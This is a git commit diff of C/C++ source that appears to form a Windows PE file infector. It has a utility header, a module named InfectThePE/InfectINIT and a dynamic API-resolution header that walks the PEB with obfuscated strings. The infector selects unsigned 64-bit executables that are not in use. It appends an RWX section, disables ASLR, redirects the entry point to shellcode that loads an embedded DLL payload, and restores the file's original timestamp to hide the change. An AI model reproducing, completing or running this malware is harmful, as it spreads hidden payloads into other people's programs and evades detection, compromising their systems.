initial commit

This commit is contained in:
i2p
2026-08-27 11:22:01 -06:00
commit 82307da654
284 changed files with 321187 additions and 0 deletions
+219
View File
@@ -0,0 +1,219 @@
/**
* common macro define
* v0.1, developed by devseed
*/
#ifndef _COMMDEF_H
#define _COMMDEF_H
#define COMMDEF_VERSION 100
#include <stdio.h>
#include <stdint.h>
// function declear macro
#if defined(_MSC_VER) || defined(__TINYC__)
#ifndef STDCALL
#define STDCALL __stdcall
#endif
#ifndef NAKED
#define NAKED __declspec(naked)
#endif
#ifndef INLINE
#define INLINE __forceinline
#endif
#ifndef EXPORT
#define EXPORT __declspec(dllexport)
#endif
#else
#ifndef STDCALL
#define STDCALL __attribute__((stdcall))
#endif
#ifndef NAKED
#define NAKED __attribute__((naked))
#endif
#ifndef INLINE
#define INLINE __attribute__((always_inline)) inline
#endif
#ifndef EXPORT
#define EXPORT __attribute__((visibility("default")))
#endif
#endif // _MSC_VER
#if defined(__TINYC__) // fix tcc not support inline
#ifdef INLINE
#undef INLINE
#endif
#define INLINE
#endif // __TINYC__
#ifndef IN
#define IN
#endif // IN
#ifndef OUT
#define OUT
#endif // OUT
#ifndef OPTIONAL
#define OPTIONAL
#endif // OPTIONAL
// log macro
#ifndef LOG_LEVEL_
#define LOG_LEVEL_
#define LOG_LEVEL_ERROR 1
#define LOG_LEVEL_WARNING 2
#define LOG_LEVEL_INFO 3
#define LOG_LEVEL_DEBUG 4
#define LOG_LEVEL_VERBOSE 5
#define LogTagPrintf(format, tag, ...) \
printf("[%s,%d,%s,%s] ", __FILE__, __LINE__, __func__, tag);\
printf(format, ##__VA_ARGS__);
#define LogTagWprintf(format, tag, ...) \
printf("[%s,%d,%s,%s] ", __FILE__, __LINE__, __func__, tag);\
wprintf(format, ##__VA_ARGS__);
#define DummyPrintf(format, ...)
#define LOG(format, ...) LogTagPrintf(format, "I", ##__VA_ARGS__)
#define LOGL(format, ...) LogTagWprintf(format, "I", ##__VA_ARGS__)
#define LOGe(format, ...) LogTagPrintf(format, "E", ##__VA_ARGS__)
#define LOGLe(format, ...) LogTagWprintf(format, "E", ##__VA_ARGS__)
#define LOGw(format, ...) LogTagPrintf(format, "W", ##__VA_ARGS__)
#define LOGLw(format, ...) LogTagWprintf(format, "W", ##__VA_ARGS__)
#define LOGi(format, ...) LogTagPrintf(format, "I", ##__VA_ARGS__)
#define LOGLi(format, ...) LogTagWprintf(format, "I", ##__VA_ARGS__)
#define LOGd(format, ...) LogTagPrintf(format, "D", ##__VA_ARGS__)
#define LOGLd(format, ...) LogTagWprintf(format, "D", ##__VA_ARGS__)
#define LOGv(format, ...) LogTagPrintf(format, "V", ##__VA_ARGS__)
#define LOGLv(format, ...) LogTagWprintf(format, "V", ##__VA_ARGS__)
#endif // LOG_LEVEL_
#ifndef LOG_LEVEL
#define LOG_LEVEL LOG_LEVEL_INFO
#endif // LOG_LEVEL
#if LOG_LEVEL < LOG_LEVEL_WARNING
#undef LOGw
#undef LOGLw
#define LOGw DummyPrintf
#define LOGLw DummyPrintf
#endif // LOG_LEVEL_WARNING
#if LOG_LEVEL < LOG_LEVEL_INFO
#undef LOGi
#undef LOGLi
#define LOGi DummyPrintf
#define LOGLi DummyPrintf
#endif // LOG_LEVEL_INFO
#if LOG_LEVEL < LOG_LEVEL_DEBUG
#undef LOGd
#undef LOGLd
#define LOGd DummyPrintf
#define LOGLd DummyPrintf
#endif // LOG_LEVEL_DEBUG
#if LOG_LEVEL < LOG_LEVEL_VERBOSE
#undef LOGv
#undef LOGLv
#define LOGv DummyPrintf
#define LOGLv DummyPrintf
#endif // LOG_LEVEL_VERBOSE
// util macro
#define DUMP(path, addr, size) \
FILE *fp = fopen(path, "wb"); \
fwrite(addr, 1, size, fp); \
fclose(fp);
// inline functions
static INLINE size_t inl_strlen(const char *str1)
{
const char* p = str1;
while(*p) p++;
return p - str1;
}
static INLINE int inl_stricmp(const char *str1, const char *str2)
{
int i=0;
while(str1[i]!=0 && str2[i]!=0)
{
if (str1[i] == str2[i]
|| str1[i] + 0x20 == str2[i]
|| str2[i] + 0x20 == str1[i])
{
i++;
}
else
{
return (int)str1[i] - (int)str2[i];
}
}
return (int)str1[i] - (int)str2[i];
}
static INLINE int inl_stricmp2(const char *str1, const wchar_t *str2)
{
int i=0;
while(str1[i]!=0 && str2[i]!=0)
{
if ((wchar_t)str1[i] == str2[i]
|| (wchar_t)str1[i] + 0x20 == str2[i]
|| str2[i] + 0x20 == (wchar_t)str1[i])
{
i++;
}
else
{
return (int)str1[i] - (int)str2[i];
}
}
return (int)str1[i] - (int)str2[i];
}
static INLINE int inl_wcsicmp(const wchar_t *str1, const wchar_t *str2)
{
int i = 0;
while (str1[i] != 0 && str2[i] != 0)
{
if (str1[i] == str2[i]
|| str1[i] + 0x20 == str2[i]
|| str2[i] + 0x20 == str1[i])
{
i++;
}
else
{
return (int)str1[i] - (int)str2[i];
}
}
return (int)str1[i] - (int)str2[i];
}
static INLINE uint32_t inl_crc32(const void *buf, size_t n)
{
uint32_t crc32 = ~0;
for(size_t i=0; i< n; i++)
{
crc32 ^= *(const uint8_t*)((uint8_t*)buf+i);
for(int i = 0; i < 8; i++)
{
uint32_t t = ~((crc32&1) - 1);
crc32 = (crc32>>1) ^ (0xEDB88320 & t);
}
}
return ~crc32;
}
static INLINE void* inl_memset(void *buf, int ch, size_t n)
{
char *p = (char *)buf;
for(size_t i=0;i<n;i++) p[i] = (char)ch;
return buf;
}
static INLINE void* inl_memcpy(void *dst, const void *src, size_t n)
{
char *p1 = (char*)dst;
char *p2 = (char*)src;
for(size_t i=0;i<n;i++) p1[i] = p2[i];
return dst;
}
#endif // _COMMDEF_H
/**
* history
* v0.1, initial version
*/
+372
View File
@@ -0,0 +1,372 @@
/**
* Attach dll in exe as memory module
* v0.3.6, developed by devseed
*/
#include <stdio.h>
#define WINPE_IMPLEMENTATION
#define WINPE_NOASM
#include "winpe.h"
#include <assert.h>
#include <windows.h>
#include <fstream>
#include <wintrust.h>
#include <softpub.h>
#include <chrono>
#include <iomanip>
#include <filesystem>
#include "../Encrypt.h"
#pragma comment(lib, "wintrust.lib")
// these functions are stub function, will be filled by python
#include "winmemdll_shellcode.h"
#include <vector>
#include <iostream>
#define FUNC_SIZE 0x400
#define SHELLCODE_SIZE 0X2000
std::vector<uint8_t> pyldyy = {
0x4D, 0x5A, 0x00
};
#ifdef _WIN64
#define g_oepinit_code g_oepinit_code64
#define g_memreloc_code g_memreloc_code64
#define g_membindiat_code g_membindiat_code64
#define g_membindtls_code g_membindtls_code64
#define g_findloadlibrarya_code g_findloadlibrarya_code64
#define g_findgetprocaddress_code g_findgetprocaddress_code64
#else
#define g_oepinit_code g_oepinit_code32
#define g_memreloc_code g_memreloc_code32
#define g_membindiat_code g_membindiat_code32
#define g_membindtls_code g_membindtls_code32
#define g_findloadlibrarya_code g_findloadlibrarya_code32
#define g_findgetprocaddress_code g_findgetprocaddress_code32
#endif
void _makeoepcode(void* shellcode,
size_t shellcoderva, size_t dllrva,
DWORD orgexeoeprva, DWORD orgdlloeprva)
{
// bind the pointer to buffer
size_t oepinit_end = sizeof(g_oepinit_code);
size_t memreloc_start = FUNC_SIZE;
size_t membindiat_start = memreloc_start + FUNC_SIZE;
size_t membindtls_start = membindiat_start + FUNC_SIZE;
size_t findloadlibrarya_start = membindtls_start + FUNC_SIZE;
size_t findgetprocaddress_start = findloadlibrarya_start + FUNC_SIZE;
// fill the address table
size_t* pexeoeprva = (size_t*)(g_oepinit_code + oepinit_end - 8 * sizeof(size_t));
size_t* pdllbrva = (size_t*)(g_oepinit_code + oepinit_end - 7 * sizeof(size_t));
size_t* pdlloeprva = (size_t*)(g_oepinit_code + oepinit_end - 6 * sizeof(size_t));
size_t* pmemrelocrva = (size_t*)(g_oepinit_code + oepinit_end - 5 * sizeof(size_t));
size_t* pmembindiatrva = (size_t*)(g_oepinit_code + oepinit_end - 4 * sizeof(size_t));
size_t* pmembindtlsrva = (size_t*)(g_oepinit_code + oepinit_end - 3 * sizeof(size_t));
size_t* pfindloadlibrarya = (size_t*)(g_oepinit_code + oepinit_end - 2 * sizeof(size_t));
size_t* pfindgetprocaddress = (size_t*)(g_oepinit_code + oepinit_end - 1 * sizeof(size_t));
*pexeoeprva = orgexeoeprva;
*pdllbrva = dllrva;
*pdlloeprva = dllrva + orgdlloeprva;
*pmemrelocrva = shellcoderva + memreloc_start;
*pmembindiatrva = shellcoderva + membindiat_start;
*pmembindtlsrva = shellcoderva + membindtls_start;
*pfindloadlibrarya = shellcoderva + findloadlibrarya_start;
*pfindgetprocaddress = shellcoderva + findgetprocaddress_start;
// copy to the target
memcpy(shellcode, g_oepinit_code, sizeof(g_oepinit_code));
memcpy((uint8_t*)shellcode + memreloc_start, g_memreloc_code, sizeof(g_memreloc_code));
memcpy((uint8_t*)shellcode + membindiat_start, g_membindiat_code, sizeof(g_membindiat_code));
memcpy((uint8_t*)shellcode + membindtls_start, g_membindtls_code, sizeof(g_membindtls_code));
memcpy((uint8_t*)shellcode + findloadlibrarya_start,
g_findloadlibrarya_code, sizeof(g_findloadlibrarya_code));
memcpy((uint8_t*)shellcode + findgetprocaddress_start,
g_findgetprocaddress_code, sizeof(g_findgetprocaddress_code));
}
size_t _sectpaddingsize(void* mempe, void* mempe_dll, size_t align)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((uint8_t*)mempe + pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;
size_t _v = (pOptHeader->SizeOfImage + SHELLCODE_SIZE) % align;
if (_v) return align - _v;
else return 0;
}
bool IsFileInUse(const std::string& filePath) {
// Attempt to open the file with write access and no sharing
HANDLE hFile = CreateFileA(
filePath.c_str(),
GENERIC_WRITE,
0, // No sharing: exclusive access
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError();
if (error == ERROR_SHARING_VIOLATION || error == ERROR_ACCESS_DENIED) {
return true; // The file is in use or access is denied
}
}
else {
// If we can open the file, close the handle
CloseHandle(hFile);
}
return false; // The file is not in use
}
bool IsSignedByValidCertificate(const std::string& filePath) {
// Convert the file path to a wide string
std::wstring wideFilePath(filePath.begin(), filePath.end());
WINTRUST_FILE_INFO fileInfo = { 0 };
fileInfo.cbStruct = sizeof(WINTRUST_FILE_INFO);
fileInfo.pcwszFilePath = wideFilePath.c_str();
fileInfo.hFile = NULL;
fileInfo.pgKnownSubject = NULL;
WINTRUST_DATA wintrustData = { 0 };
wintrustData.cbStruct = sizeof(WINTRUST_DATA);
wintrustData.dwUIChoice = WTD_UI_NONE;
wintrustData.fdwRevocationChecks = WTD_REVOKE_NONE;
wintrustData.dwUnionChoice = WTD_CHOICE_FILE;
wintrustData.pFile = &fileInfo;
wintrustData.dwStateAction = WTD_STATEACTION_VERIFY;
wintrustData.dwProvFlags = WTD_SAFER_FLAG;
wintrustData.hWVTStateData = NULL;
wintrustData.pwszURLReference = NULL;
GUID policyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
LONG result = WinVerifyTrust(NULL, &policyGUID, &wintrustData);
wintrustData.dwStateAction = WTD_STATEACTION_CLOSE;
return (result == ERROR_SUCCESS);
}
std::string datanam;
bool IsPE64NotOpenNoRBData(const std::string& filePath) {
// Check if the file is open by another process
if (IsFileInUse(filePath)) {
//std::cerr << EC("The file is currently in use by another process: ") << filePath << std::endl;
return false;
}
// Open the file
std::ifstream file(filePath, std::ios::binary | std::ios::in);
if (!file.is_open()) {
//std::cerr << EC("Failed to open file: ") << filePath << std::endl;
return false;
}
// Read the DOS header
IMAGE_DOS_HEADER dosHeader;
file.seekg(0, std::ios::beg);
file.read(reinterpret_cast<char*>(&dosHeader), sizeof(IMAGE_DOS_HEADER));
// Verify DOS header
if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) {
//std::cerr << EC("Invalid DOS header signature.") << std::endl;
return false;
}
// Move to NT Headers
file.seekg(dosHeader.e_lfanew, std::ios::beg);
// Read NT Headers
IMAGE_NT_HEADERS64 ntHeaders;
file.read(reinterpret_cast<char*>(&ntHeaders), sizeof(IMAGE_NT_HEADERS64));
// Verify NT header
if (ntHeaders.Signature != IMAGE_NT_SIGNATURE) {
//std::cerr << EC("Invalid NT header signature.") << std::endl;
return false;
}
// Check if the file is a 64-bit executable
if (ntHeaders.FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
// std::cerr << EC("The file is not a 64-bit executable.") << std::endl;
return false;
}
// Read Section Headers
std::vector<IMAGE_SECTION_HEADER> sectionHeaders(ntHeaders.FileHeader.NumberOfSections);
file.read(reinterpret_cast<char*>(sectionHeaders.data()), sizeof(IMAGE_SECTION_HEADER) * ntHeaders.FileHeader.NumberOfSections);
// Check for .rbdata section
for (const auto& section : sectionHeaders) {
std::string sectionName(reinterpret_cast<const char*>(section.Name), 8);
sectionName.erase(std::find(sectionName.begin(), sectionName.end(), '\0'), sectionName.end()); // Remove null padding
/*std::cout << sectionName << std::endl;
std::cout << section.VirtualAddress << std::endl;
std::cout << section.SizeOfRawData << std::endl;*/
if (sectionName == datanam.c_str()) {
//std::cerr << EC("The file contains a .rcdata section. and it is: ") << filePath << std::endl;
return false;
}
if (sectionName.empty() && section.VirtualAddress == 0 && section.SizeOfRawData == 0) {
std::cout << EC("PROBLEM: ") << filePath << std::endl;
return false;
}/**/
}
// Check if the file is signed by a valid code signing certificate
if (IsSignedByValidCertificate(filePath)) {
//std::cerr << EC("The file is signed by a valid code signing certificate: ") << filePath << std::endl;
return false;
}
// If all checks pass, return true
return true;
}
namespace fs = std::filesystem;
void* mempe_dll = NULL;
size_t mempe_dllsize = 0;
int injectdll_mem(const char* exepath)
{
fs::file_time_type original_time = fs::last_write_time(exepath);
std::cout << EC("CK 1") << std::endl;
size_t exe_overlayoffset = 0;
size_t exe_overlaysize = 0;
void* mempe_exe = NULL;
size_t mempe_exesize = 0;
size_t imgbase_exe = 0;
IMAGE_SECTION_HEADER secth = { 0 };
char shellcode[SHELLCODE_SIZE];
std::cout << EC("CK 2") << std::endl;
// Load exe and dll PE
mempe_exe = winpe_memload_file(exepath, &mempe_exesize, TRUE);
if (!mempe_exe) {
printf(EC("Failed to load PE file: %s\n"), exepath);
return -1;
}
if (!mempe_dll)
{
mempe_dll = winpe_memload_buffer(pyldyy.data(), pyldyy.size(), &mempe_dllsize, TRUE);
}
std::cout << EC("CK 3") << std::endl;
void* mempe = mempe_exe;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((uint8_t*)mempe + pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;
std::cout << EC("CK 4") << std::endl;
// Append section header to exe
size_t align = sizeof(size_t) > 4 ? 0x10000 : 0x1000;
size_t padding = _sectpaddingsize(mempe_exe, mempe_dll, align);
secth.Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;
secth.Misc.VirtualSize = (DWORD)(SHELLCODE_SIZE + padding + mempe_dllsize);
secth.SizeOfRawData = (DWORD)(SHELLCODE_SIZE + padding + mempe_dllsize);
strcpy((char*)secth.Name, datanam.c_str());
winpe_noaslr(mempe_exe);
winpe_appendsecth(mempe_exe, &secth);
std::cout << EC("CK 5") << std::endl;
// Adjust DLL addr and append shellcode, IAT bind is in running
size_t shellcoderva = secth.VirtualAddress;
size_t dllrva = shellcoderva + SHELLCODE_SIZE + padding;
DWORD orgdlloeprva = winpe_oepval(mempe_dll, 0); // Origin orgdlloeprva
DWORD orgexeoeprva = winpe_oepval(mempe_exe, secth.VirtualAddress);
_makeoepcode(shellcode, shellcoderva, dllrva, orgexeoeprva, orgdlloeprva);
std::cout << EC("CK 6") << std::endl;
// Open the existing file in read-write mode
FILE* fp = fopen(exepath, EC("rb+"));
if (!fp) {
std::cerr << EC("Failed to open file for writing: ") << exepath << std::endl;
if (mempe_exe) free(mempe_exe);
return -1;
}
std::cout << EC("CK 7") << std::endl;
// Write the modified memory back to the file
fseek(fp, 0, SEEK_SET);
fwrite(mempe_exe, 1, mempe_exesize, fp);
fwrite(shellcode, 1, SHELLCODE_SIZE, fp);
for (size_t i = 0; i < padding; i++) fputc(0x0, fp);
fwrite(mempe_dll, 1, mempe_dllsize, fp);
fclose(fp);
std::cout << EC("CK 8") << std::endl;
if (mempe_exe) free(mempe_exe);
fs::last_write_time(exepath, original_time);
return 0;
}
std::time_t to_time_t(const fs::file_time_type& ftime) {
auto sctp = std::chrono::time_point_cast<std::chrono::system_clock::duration>(
ftime - fs::file_time_type::clock::now() + std::chrono::system_clock::now()
);
return std::chrono::system_clock::to_time_t(sctp);
}
void InjectDLLWithSEH(const char* exepat)
{
__try
{
injectdll_mem(exepat);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
// Handle the exception (if needed)
}
}
void InfectINIT(std::vector<uint8_t> biit, string idey)
{
pyldyy.clear();
datanam = EC(".rcdata") + idey;
pyldyy = biit;
}
void InfectThePE(string exepat)
{
// Call the SEH-protected function
InjectDLLWithSEH(exepat.c_str());
}
+613
View File
@@ -0,0 +1,613 @@
/** windows api function pointer define,
* functions or macros for dynamic bindings
* v0.1.5, developed by devseed
*
* macros:
* WINDYN_IMPLEMENT, include defines of each function
* WINDYN_SHARED, make function export
* WINDYN_STATIC, make function static
* WINDYN_NOINLINE, don't use inline function
*/
#ifndef _WINDYN_H
#define _WINDYN_H
#define WINDYN_VERSION 150
#ifdef USECOMPAT
#include "commdef_v100.h"
#else
#include "commdef.h"
#endif // USECOMPAT
// define specific macro
#ifdef WINDYN_API
#undef WINDYN_API
#endif
#ifdef WINDYN_API_DEF
#undef WINDYN_API_DEF
#endif
#ifdef WINDYN_API_EXPORT
#undef WINDYN_API_EXPORT
#endif
#ifdef WINDYN_API_INLINE
#undef WINDYN_API_INLINE
#endif
#ifdef WINDYN_STATIC
#define WINDYN_API_DEF static
#else
#define WINDYN_API_DEF extern
#endif // WINDYN_STATIC
#ifdef WINDYN_SHARED
#define WINDYN_API_EXPORT EXPORT
#else
#define WINDYN_API_EXPORT
#endif // WINDYN_SHARED
#ifdef WINDYN_NOINLINE
#define WINDYN_API_INLINE
#else
#define WINDYN_API_INLINE INLINE
#endif // WINDYN_NOINLINE
#define WINDYN_API WINDYN_API_DEF WINDYN_API_EXPORT WINDYN_API_INLINE
#ifdef __cplusplus
extern "C" {
#endif
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
// function pointer declear
typedef HMODULE (WINAPI* PFN_LoadLibraryA)(
LPCSTR lpLibFileName
);
typedef FARPROC (WINAPI* PFN_GetProcAddress)(
HMODULE hModule,
LPCSTR lpProcName
);
typedef HMODULE (WINAPI *PFN_GetModuleHandleA)(
LPCSTR lpModuleName
);
typedef LPVOID (WINAPI *PFN_VirtualAllocEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef BOOL (WINAPI *PFN_VirtualFreeEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType
);
typedef BOOL (WINAPI *PFN_VirtualProtectEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
typedef BOOL (WINAPI *PFN_CreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef HANDLE (WINAPI *PFN_OpenProcess)(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
typedef HANDLE (WINAPI *PFN_GetCurrentProcess)(
VOID
);
typedef BOOL (WINAPI *PFN_ReadProcessMemory)(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesRead
);
typedef BOOL (WINAPI *PFN_WriteProcessMemory)(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);
typedef HANDLE (WINAPI *PFN_CreateRemoteThread)(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef HANDLE (WINAPI *PFN_GetCurrentThread)(
VOID
);
typedef DWORD (WINAPI *PFN_SuspendThread)(
HANDLE hThread
);
typedef DWORD (WINAPI *PFN_ResumeThread)(
HANDLE hThread
);
typedef BOOL (WINAPI *PFN_GetThreadContext)(
HANDLE hThread,
LPCONTEXT lpContext
);
typedef BOOL (WINAPI *PFN_SetThreadContext)(
HANDLE hThread,
CONST CONTEXT* lpContext
);
typedef DWORD (WINAPI *PFN_WaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
);
typedef BOOL (WINAPI *PFN_CloseHandle)(
HANDLE hObject
);
typedef HANDLE (WINAPI *PFN_CreateToolhelp32Snapshot)(
DWORD dwFlags,
DWORD th32ProcessID
);
typedef BOOL (WINAPI *PFN_Process32First)(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
typedef BOOL (WINAPI *PFN_Process32Next)(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
typedef NTSTATUS (NTAPI * PFN_NtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength
);
// util inline functions and macro declear
#define WINDYN_FINDEXP(mempe, funcname, exp)\
{\
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;\
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)\
((uint8_t*)mempe + pDosHeader->e_lfanew);\
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;\
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;\
PIMAGE_DATA_DIRECTORY pDataDirectory = pOptHeader->DataDirectory;\
PIMAGE_DATA_DIRECTORY pExpEntry =\
&pDataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];\
PIMAGE_EXPORT_DIRECTORY pExpDescriptor =\
(PIMAGE_EXPORT_DIRECTORY)((uint8_t*)mempe + pExpEntry->VirtualAddress);\
WORD* ordrva = (WORD*)((uint8_t*)mempe\
+ pExpDescriptor->AddressOfNameOrdinals);\
DWORD* namerva = (DWORD*)((uint8_t*)mempe\
+ pExpDescriptor->AddressOfNames);\
DWORD* funcrva = (DWORD*)((uint8_t*)mempe\
+ pExpDescriptor->AddressOfFunctions);\
if ((size_t)funcname <= MAXWORD)\
{\
WORD ordbase = LOWORD(pExpDescriptor->Base) - 1;\
WORD funcord = LOWORD(funcname);\
exp = (void*)((uint8_t*)mempe + funcrva[ordrva[funcord - ordbase]]);\
}\
else\
{\
for (DWORD i = 0; i < pExpDescriptor->NumberOfNames; i++)\
{\
LPCSTR curname = (LPCSTR)((uint8_t*)mempe + namerva[i]);\
if (inl_stricmp(curname, funcname) == 0)\
{\
exp = (void*)((uint8_t*)mempe + funcrva[ordrva[i]]); \
break;\
}\
}\
}\
}
#define WINDYN_FINDMODULE(peb, modulename, hmod)\
{\
typedef struct _LDR_ENTRY \
{\
LIST_ENTRY InLoadOrderLinks; \
LIST_ENTRY InMemoryOrderLinks;\
LIST_ENTRY InInitializationOrderLinks;\
PVOID DllBase;\
PVOID EntryPoint;\
ULONG SizeOfImage;\
UNICODE_STRING FullDllName;\
UNICODE_STRING BaseDllName;\
ULONG Flags;\
USHORT LoadCount;\
USHORT TlsIndex;\
union\
{\
LIST_ENTRY HashLinks;\
struct\
{\
PVOID SectionPointer;\
ULONG CheckSum;\
};\
};\
ULONG TimeDateStamp;\
} LDR_ENTRY, * PLDR_ENTRY; \
PLDR_ENTRY ldrentry = NULL;\
PPEB_LDR_DATA ldr = NULL;\
if (!peb)\
{\
PTEB teb = NtCurrentTeb();\
if(sizeof(size_t)>4) peb = *(PPEB*)((uint8_t*)teb + 0x60);\
else peb = *(PPEB*)((uint8_t*)teb + 0x30);\
}\
if(sizeof(size_t)>4) ldr = *(PPEB_LDR_DATA*)((uint8_t*)peb + 0x18);\
else ldr = *(PPEB_LDR_DATA*)((uint8_t*)peb + 0xC);\
ldrentry = (PLDR_ENTRY)((size_t)\
ldr->InMemoryOrderModuleList.Flink - 2 * sizeof(size_t));\
if (!modulename)\
{\
hmod = ldrentry->DllBase;\
}\
else\
{\
while (ldrentry->InMemoryOrderLinks.Flink != \
ldr->InMemoryOrderModuleList.Flink)\
{\
PUNICODE_STRING ustr = &ldrentry->FullDllName; \
int i; \
for (i = ustr->Length / 2 - 1; i > 0 && ustr->Buffer[i] != '\\'; i--); \
if (ustr->Buffer[i] == '\\') i++; \
if (inl_stricmp2(modulename, ustr->Buffer + i) == 0)\
{\
hmod = ldrentry->DllBase; \
break; \
}\
ldrentry = (PLDR_ENTRY)((size_t)\
ldrentry->InMemoryOrderLinks.Flink - 2 * sizeof(size_t)); \
}\
}\
}
#define WINDYN_FINDKERNEL32(kernel32)\
{\
PPEB peb = NULL;\
char name_kernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' }; \
WINDYN_FINDMODULE(peb, name_kernel32, kernel32);\
}
#define WINDYN_FINDLOADLIBRARYA(kernel32, pfnLoadLibraryA)\
{\
char name_LoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };\
WINDYN_FINDEXP((void*)kernel32, name_LoadLibraryA, pfnLoadLibraryA);\
}\
#define WINDYN_FINDGETPROCADDRESS(kernel32, pfnGetProcAddress)\
{\
char name_GetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '\0' }; \
WINDYN_FINDEXP((void*)kernel32, name_GetProcAddress, pfnGetProcAddress);\
}
// winapi inline functions declear
WINDYN_API
HMODULE WINAPI windyn_GetModuleHandleA(
LPCSTR lpModuleName);
WINDYN_API
HMODULE WINAPI windyn_LoadLibraryA(
LPCSTR lpLibFileName);
WINDYN_API
FARPROC WINAPI windyn_GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName);
WINDYN_API
LPVOID WINAPI windyn_VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect);
WINDYN_API
BOOL WINAPI windyn_VirtualFreeEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType);
WINDYN_API
BOOL WINAPI windyn_VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect);
WINDYN_API
BOOL WINAPI windyn_CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation);
WINDYN_API
HANDLE WINAPI windyn_OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId);
WINDYN_API
HANDLE WINAPI windyn_GetCurrentProcess(
VOID);
WINDYN_API
BOOL WINAPI windyn_ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesRead);
WINDYN_API
BOOL WINAPI windyn_WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten);
WINDYN_API
HANDLE WINAPI windyn_CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);
WINDYN_API
HANDLE WINAPI windyn_GetCurrentThread(
VOID);
WINDYN_API
DWORD WINAPI windyn_SuspendThread(
HANDLE hThread);
WINDYN_API
DWORD WINAPI windyn_ResumeThread(
HANDLE hThread);
WINDYN_API
BOOL WINAPI windyn_GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext);
WINDYN_API
BOOL WINAPI windyn_SetThreadContext(
HANDLE hThread,
CONST CONTEXT* lpContext);
WINDYN_API
DWORD WINAPI windyn_WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds);
WINDYN_API
BOOL WINAPI windyn_CloseHandle(
HANDLE hObject);
WINDYN_API
